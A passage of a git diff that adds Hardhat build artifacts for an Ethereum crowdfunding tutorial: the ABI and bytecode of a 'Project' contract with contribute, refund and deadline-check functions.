8083540402835291602001916106d1565b820191906000526020600020905b8154815290600101906020018083116106b457829003601f168201915b505050505081565b600154600354101515610718576002600760006101000a81548160ff0219169083600281111561070557fe5b0217905550610712610c7a565b50610748565b600454421115610747576001600760006101000a81548160ff0219169083600281111561074157fe5b02179055505b5b42600281905550565b6000600180600281111561076157fe5b600760009054906101000a900460ff16600281111561077c57fe5b14151561078857600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156107d657600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156108e85780600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000925050610909565b6108fd81600354610dde90919063ffffffff16565b60038190555060019250505b5090565b600760009054906101000a900460ff1681565b60035481565b600080600281111561093457fe5b600760009054906101000a900460ff16600281111561094f57fe5b14151561095b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156109b757600080fd5b610a0934600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610df790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6134600354610df790919063ffffffff16565b6003819055507f5cdc4ab8d637538ead6cc1904d4160343656c8c82bd266635cfd31ac008fffe03334600354604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1610ae46106d9565b50565b60006060806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16965060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bac5780601f10610b8157610100808354040283529160200191610bac565b820191906000526020600020905b815481529060010190602001808311610b8f57829003601f168201915b5050505050955060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c495780601f10610c1e57610100808354040283529160200191610c49565b820191906000526020600020905b815481529060010190602001808311610c2c57829003601f168201915b505050505094506004549350600760009054906101000a900460ff1692506003549150600154905090919293949596565b60006002806002811115610c8a57fe5b600760009054906101000a900460ff166002811115610ca557fe5b141515610cb157600080fd5b6000600354905060006003819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015610da9577f2f256415efc8561af8db667cb242964b19be7380f379ccdafaa0e54a6f6b70696000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001925050610dda565b806003819055506002600760006101000a81548160ff02191690836002811115610dcf57fe5b021790555060009250505b5090565b6000828211151515610dec57fe5b818303905092915050565b60008183019050828110151515610e0a57fe5b8090509291505056fea165627a7a723058204e932d62670f3cd64e1dc5b96e18f977a755c50bed9e8af4410e2176a3b75fc80029a165627a7a723058203affe1f53dd0dc3486a020175c8fccb58858ec483f78e023023f6a63a4c336dd0029",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b5060043610610053576000357c01000000000000000000000000000000000000000000000000000000009004806385b6e28e14610058578063a24a2d16146100b7575b600080fd5b610060610199565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156100a3578082015181840152602081019050610088565b505050509050019250505060405180910390f35b610197600480360360808110156100cd57600080fd5b81019080803590602001906401000000008111156100ea57600080fd5b8201836020820111156100fc57600080fd5b8035906020019184600183028401116401000000008311171561011e57600080fd5b90919293919293908035906020019064010000000081111561013f57600080fd5b82018360208201111561015157600080fd5b8035906020019184600183028401116401000000008311171561017357600080fd5b90919293919293908035906020019092919080359060200190929190505050610227565b005b6060600080548060200260200160405190810160405280929190818152602001828054801561021d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116101d3575b5050505050905090565b600061025161024262015180856104ae90919063ffffffff16565b426104e690919063ffffffff16565b905060003388888888868860405161026890610502565b808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018481526020018381038352898982818152602001925080828437600081840152601f19601f8201169050808301925050508381038252878782818152602001925080828437600081840152601f19601f8201169050808301925050509950505050505050505050604051809103906000f08015801561032c573d6000803e3d6000fd5b50905060008190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550507f6218c120ad6d836da0bfe4d4c44c8375356514fce6ae39ecdcd483fad6056e6681338a8a8a8a888a604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001806020018581526020018481526020018381038352898982818152602001925080828437600081840152601f19601f8201169050808301925050508381038252878782818152602001925080828437600081840152601f19601f8201169050808301925050509a505050505050505050505060405180910390a15050505050505050565b6000808314156104c157600090506104e0565b81830290508183828115156104d257fe5b041415156104dc57fe5b8090505b92915050565b600081830190508281101515156104f957fe5b80905092915050565b6110b6806105108339019056fe60806040526000600760006101000a81548160ff021916908360028111156200002457fe5b02179055503480156200003657600080fd5b50604051620010b6380380620010b6833981018060405260a08110156200005c57600080fd5b810190808051906020019092919080516401000000008111156200007f57600080fd5b828101905060208101848111156200009657600080fd5b8151856001820283011164010000000082111715620000b457600080fd5b50509291906020018051640100000000811115620000d157600080fd5b82810190506020810184811115620000e857600080fd5b81518560018202830111640100000000821117156200010657600080fd5b50509291906020018051906020019092919080519060200190929190505050846000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600590805190602001906200017d929190620001b8565b50826006908051906020019062000196929190620001b8565b5080600181905550816004819055506000600381905550505050505062000267565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620001fb57805160ff19168380011785556200022c565b828001600101855582156200022c579182015b828111156200022b5782518255916020019190600101906200020e565b5b5090506200023b91906200023f565b5090565b6200026491905b808211156200026057600081600090555060010162000246565b5090565b90565b610e3f80620002776000396000f3fe6080604052600436106100df576000357c0100000000000000000000000000000000000000000000000000000000900480637284e4161161009c578063c19d93fb11610076578063c19d93fb14610387578063ce845d1d146103c0578063d7bb99ba146103eb578063fbbf93a0146103f5576100df565b80637284e416146102b157806386f3258614610341578063b2d5ae4414610358576100df565b806302d05d3f146100e45780630785001c1461013b57806337f944cc1461016657806342e94c90146101915780634a79d50c146101f65780634c4cea5a14610286575b600080fd5b3480156100f057600080fd5b506100f961054e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014757600080fd5b50610150610573565b6040518082815260200191505060405180910390f35b34801561017257600080fd5b5061017b610579565b6040518082815260200191505060405180910390f35b34801561019d57600080fd5b506101e0600480360360208110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061057f565b6040518082815260200191505060405180910390f35b34801561020257600080fd5b5061020b610597565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024b578082015181840152602081019050610230565b50505050905090810190601f1680156102785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029257600080fd5b5061029b610635565b6040518082815260200191505060405180910390f35b3480156102bd57600080fd5b506102c661063b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103065780820151818401526020810190506102eb565b50505050905090810190601f1680156103335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034d57600080fd5b506103566106d9565b005b34801561036457600080fd5b5061036d610751565b604051808215151515815260200191505060405180910390f35b34801561039357600080fd5b5061039c61090d565b604051808260028111156103ac57fe5b60ff16815260200191505060405180910390f35b3480156103cc57600080fd5b506103d5610920565b6040518082815260200191505060405180910390f35b6103f3610926565b005b34801561040157600080fd5b5061040a610ae7565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018060200187815260200186600281111561045a57fe5b60ff168152602001858152602001848152602001838103835289818151815260200191508051906020019080838360005b838110156104a657808201518184015260208101905061048b565b50505050905090810190601f1680156104d35780820380516001836020036101000a031916815260200191505b50838103825288818151815260200191508051906020019080838360005b8381101561050c5780820151818401526020810190506104f1565b50505050905090810190601f1680156105395780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60045481565b60086020528060005260406000206000915090505481565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b505050505081565b60025481565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d15780601f106106a6576101008083540402835291602001916106d1565b820191906000526020600020905b8154815290600101906020018083116106b457829003601f168201915b505050505081565b600154600354101515610718576002600760006101000a81548160ff0219169083600281111561070557fe5b0217905550610712610c7a565b50610748565b600454421115610747576001600760006101000a81548160ff0219169083600281111561074157fe5b02179055505b5b42600281905550565b6000600180600281111561076157fe5b600760009054906101000a900460ff16600281111561077c57fe5b14151561078857600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156107d657600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156108e85780600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000925050610909565b6108fd81600354610dde90919063ffffffff16565b60038190555060019250505b5090565b600760009054906101000a900460ff1681565b60035481565b600080600281111561093457fe5b600760009054906101000a900460ff16600281111561094f57fe5b14151561095b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156109b757600080fd5b610a0934600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610df790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6134600354610df790919063ffffffff16565b6003819055507f5cdc4ab8d637538ead6cc1904d4160343656c8c82bd266635cfd31ac008fffe03334600354604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1610ae46106d9565b50565b60006060806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16965060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bac5780601f10610b8157610100808354040283529160200191610bac565b820191906000526020600020905b815481529060010190602001808311610b8f57829003601f168201915b5050505050955060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c495780601f10610c1e57610100808354040283529160200191610c49565b820191906000526020600020905b815481529060010190602001808311610c2c57829003601f168201915b505050505094506004549350600760009054906101000a900460ff1692506003549150600154905090919293949596565b60006002806002811115610c8a57fe5b600760009054906101000a900460ff166002811115610ca557fe5b141515610cb157600080fd5b6000600354905060006003819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015610da9577f2f256415efc8561af8db667cb242964b19be7380f379ccdafaa0e54a6f6b70696000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001925050610dda565b806003819055506002600760006101000a81548160ff02191690836002811115610dcf57fe5b021790555060009250505b5090565b6000828211151515610dec57fe5b818303905092915050565b60008183019050828110151515610e0a57fe5b8090509291505056fea165627a7a723058204e932d62670f3cd64e1dc5b96e18f977a755c50bed9e8af4410e2176a3b75fc80029a165627a7a723058203affe1f53dd0dc3486a020175c8fccb58858ec483f78e023023f6a63a4c336dd0029",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/12-token-crowdfund/frontend/src/contracts/Project.json b/basic/12-token-crowdfund/frontend/src/contracts/Project.json
new file mode 100644
index 000000000..acb717e50
--- /dev/null
+++ b/basic/12-token-crowdfund/frontend/src/contracts/Project.json
@@ -0,0 +1,273 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "Project",
+  "sourceName": "contracts/Project.sol",
+  "abi": [
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "creator",
+      "outputs": [
+        {
+          "name": "",
+          "type": "address"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "amountGoal",
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "raiseBy",
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [
+        {
+          "name": "",
+          "type": "address"
+        }
+      ],
+      "name": "contributions",
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "title",
+      "outputs": [
+        {
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "completeAt",
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "description",
+      "outputs": [
+        {
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": false,
+      "inputs": [],
+      "name": "checkIfFundingCompleteOrExpired",
+      "outputs": [],
+      "payable": false,
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "constant": false,
+      "inputs": [],
+      "name": "getRefund",
+      "outputs": [
+        {
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "state",
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "currentBalance",
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "constant": false,
+      "inputs": [],
+      "name": "contribute",
+      "outputs": [],
+      "payable": true,
+      "stateMutability": "payable",
+      "type": "function"
+    },
+    {
+      "constant": true,
+      "inputs": [],
+      "name": "getDetails",
+      "outputs": [
+        {
+          "name": "projectStarter",
+          "type": "address"
+        },
+        {
+          "name": "projectTitle",
+          "type": "string"
+        },
+        {
+          "name": "projectDesc",
+          "type": "string"
+        },
+        {
+          "name": "deadline",
+          "type": "uint256"
+        },
+        {
+          "name": "currentState",
+          "type": "uint8"
+        },
+        {
+          "name": "currentAmount",
+          "type": "uint256"
+        },
+        {
+          "name": "goalAmount",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "name": "projectStarter",
+          "type": "address"
+        },
+        {
+          "name": "projectTitle",
+          "type": "string"
+        },
+        {
+          "name": "projectDesc",
+          "type": "string"
+        },
+        {
+          "name": "fundRaisingDeadline",
+          "type": "uint256"
+        },
+        {
+          "name": "goalAmount",
+          "type": "uint256"
+        }
+      ],
+      "payable": false,
+      "stateMutability": "nonpayable",
+      "type": "constructor"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": false,
+          "name": "contributor",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "name": "amount",
+          "type": "uint256"
+        },
+        {
+          "indexed": false,
+          "name": "currentTotal",
+          "type": "uint256"
+        }
+      ],
+      "name": "FundingReceived",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": false,
+          "name": "recipient",
+          "type": "address"
+        }
+      ],
+      "name": "CreatorPaid",
+      "type": "event"
+    }
+  ],
+  "bytecode": "0x60806040526000600760006101000a81548160ff021916908360028111156200002457fe5b02179055503480156200003657600080fd5b50604051620010b6380380620010b6833981018060405260a08110156200005c57600080fd5b810190808051906020019092919080516401000000008111156200007f57600080fd5b828101905060208101848111156200009657600080fd5b8151856001820283011164010000000082111715620000b457600080fd5b50509291906020018051640100000000811115620000d157600080fd5b82810190506020810184811115620000e857600080fd5b81518560018202830111640100000000821117156200010657600080fd5b50509291906020018051906020019092919080519060200190929190505050846000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600590805190602001906200017d929190620001b8565b50826006908051906020019062000196929190620001b8565b5080600181905550816004819055506000600381905550505050505062000267565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620001fb57805160ff19168380011785556200022c565b828001600101855582156200022c579182015b828111156200022b5782518255916020019190600101906200020e565b5b5090506200023b91906200023f565b5090565b6200026491905b808211156200026057600081600090555060010162000246565b5090565b90565b610e3f80620002776000396000f3fe6080604052600436106100df576000357c0100000000000000000000000000000000000000000000000000000000900480637284e4161161009c578063c19d93fb11610076578063c19d93fb14610387578063ce845d1d146103c0578063d7bb99ba146103eb578063fbbf93a0146103f5576100df565b80637284e416146102b157806386f3258614610341578063b2d5ae4414610358576100df565b806302d05d3f146100e45780630785001c1461013b57806337f944cc1461016657806342e94c90146101915780634a79d50c146101f65780634c4cea5a14610286575b600080fd5b3480156100f057600080fd5b506100f961054e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014757600080fd5b50610150610573565b6040518082815260200191505060405180910390f35b34801561017257600080fd5b5061017b610579565b6040518082815260200191505060405180910390f35b34801561019d57600080fd5b506101e0600480360360208110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061057f565b6040518082815260200191505060405180910390f35b34801561020257600080fd5b5061020b610597565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024b578082015181840152602081019050610230565b50505050905090810190601f1680156102785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029257600080fd5b5061029b610635565b6040518082815260200191505060405180910390f35b3480156102bd57600080fd5b506102c661063b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103065780820151818401526020810190506102eb565b50505050905090810190601f1680156103335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034d57600080fd5b506103566106d9565b005b34801561036457600080fd5b5061036d610751565b604051808215151515815260200191505060405180910390f35b34801561039357600080fd5b5061039c61090d565b604051808260028111156103ac57fe5b60ff16815260200191505060405180910390f35b3480156103cc57600080fd5b506103d5610920565b6040518082815260200191505060405180910390f35b6103f3610926565b005b34801561040157600080fd5b5061040a610ae7565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018060200187815260200186600281111561045a57fe5b60ff168152602001858152602001848152602001838103835289818151815260200191508051906020019080838360005b838110156104a657808201518184015260208101905061048b565b50505050905090810190601f1680156104d35780820380516001836020036101000a031916815260200191505b50838103825288818151815260200191508051906020019080838360005b8381101561050c5780820151818401526020810190506104f1565b50505050905090810190601f1680156105395780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60045481565b60086020528060005260406000206000915090505481565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b505050505081565b60025481565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d15780601f106106a6576101008083540402835291602001916106d1565b820191906000526020600020905b8154815290600101906020018083116106b457829003601f168201915b505050505081565b600154600354101515610718576002600760006101000a81548160ff0219169083600281111561070557fe5b0217905550610712610c7a565b50610748565b600454421115610747576001600760006101000a81548160ff0219169083600281111561074157fe5b02179055505b5b42600281905550565b6000600180600281111561076157fe5b600760009054906101000a900460ff16600281111561077c57fe5b14151561078857600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156107d657600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156108e85780600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000925050610909565b6108fd81600354610dde90919063ffffffff16565b60038190555060019250505b5090565b600760009054906101000a900460ff1681565b60035481565b600080600281111561093457fe5b600760009054906101000a900460ff16600281111561094f57fe5b14151561095b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156109b757600080fd5b610a0934600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610df790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6134600354610df790919063ffffffff16565b6003819055507f5cdc4ab8d637538ead6cc1904d4160343656c8c82bd266635cfd31ac008fffe03334600354604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1610ae46106d9565b50565b60006060806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16965060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bac5780601f10610b8157610100808354040283529160200191610bac565b820191906000526020600020905b815481529060010190602001808311610b8f57829003601f168201915b5050505050955060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c495780601f10610c1e57610100808354040283529160200191610c49565b820191906000526020600020905b815481529060010190602001808311610c2c57829003601f168201915b505050505094506004549350600760009054906101000a900460ff1692506003549150600154905090919293949596565b60006002806002811115610c8a57fe5b600760009054906101000a900460ff166002811115610ca557fe5b141515610cb157600080fd5b6000600354905060006003819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015610da9577f2f256415efc8561af8db667cb242964b19be7380f379ccdafaa0e54a6f6b70696000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001925050610dda565b806003819055506002600760006101000a81548160ff02191690836002811115610dcf57fe5b021790555060009250505b5090565b6000828211151515610dec57fe5b818303905092915050565b60008183019050828110151515610e0a57fe5b8090509291505056fea165627a7a723058204e932d62670f3cd64e1dc5b96e18f977a755c50bed9e8af4410e2176a3b75fc80029",
+  "deployedBytecode": "0x6080604052600436106100df576000357c0100000000000000000000000000000000000000000000000000000000900480637284e4161161009c578063c19d93fb11610076578063c19d93fb14610387578063ce845d1d146103c0578063d7bb99ba146103eb578063fbbf93a0146103f5576100df565b80637284e416146102b157806386f3258614610341578063b2d5ae4414610358576100df565b806302d05d3f146100e45780630785001c1461013b57806337f944cc1461016657806342e94c90146101915780634a79d50c146101f65780634c4cea5a14610286575b600080fd5b3480156100f057600080fd5b506100f961054e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014757600080fd5b50610150610573565b6040518082815260200191505060405180910390f35b34801561017257600080fd5b5061017b610579565b6040518082815260200191505060405180910390f35b34801561019d57600080fd5b506101e0600480360360208110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061057f565b6040518082815260200191505060405180910390f35b34801561020257600080fd5b5061020b610597565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024b578082015181840152602081019050610230565b50505050905090810190601f1680156102785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029257600080fd5b5061029b610635565b6040518082815260200191505060405180910390f35b3480156102bd57600080fd5b506102c661063b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103065780820151818401526020810190506102eb565b50505050905090810190601f1680156103335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034d57600080fd5b506103566106d9565b005b34801561036457600080fd5b5061036d610751565b604051808215151515815260200191505060405180910390f35b34801561039357600080fd5b5061039c61090d565b604051808260028111156103ac57fe5b60ff16815260200191505060405180910390f35b3480156103cc57600080fd5b506103d5610920565b6040518082815260200191505060405180910390f35b6103f3610926565b005b34801561040157600080fd5b5061040a610ae7565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018060200187815260200186600281111561045a57fe5b60ff168152602001858152602001848152602001838103835289818151815260200191508051906020019080838360005b838110156104a657808201518184015260208101905061048b565b50505050905090810190601f1680156104d35780820380516001836020036101000a031916815260200191505b50838103825288818151815260200191508051906020019080838360005b8381101561050c5780820151818401526020810190506104f1565b50505050905090810190601f1680156105395780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60045481565b60086020528060005260406000206000915090505481565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b505050505081565b60025481565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d15780601f106106a6576101008083540402835291602001916106d1565b820191906000526020600020905b8154815290600101906020018083116106b457829003601f168201915b505050505081565b600154600354101515610718576002600760006101000a81548160ff0219169083600281111561070557fe5b0217905550610712610c7a565b50610748565b600454421115610747576001600760006101000a81548160ff0219169083600281111561074157fe5b02179055505b5b42600281905550565b6000600180600281111561076157fe5b600760009054906101000a900460ff16600281111561077c57fe5b14151561078857600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156107d657600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156108e85780600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000925050610909565b6108fd81600354610dde90919063ffffffff16565b60038190555060019250505b5090565b600760009054906101000a900460ff1681565b60035481565b600080600281111561093457fe5b600760009054906101000a900460ff16600281111561094f57fe5b14151561095b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156109b757600080fd5b610a0934600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610df790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6134600354610df790919063ffffffff16565b6003819055507f5cdc4ab8d637538ead6cc1904d4160343656c8c82bd266635cfd31ac008fffe03334600354604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1610ae46106d9565b50565b60006060806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16965060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280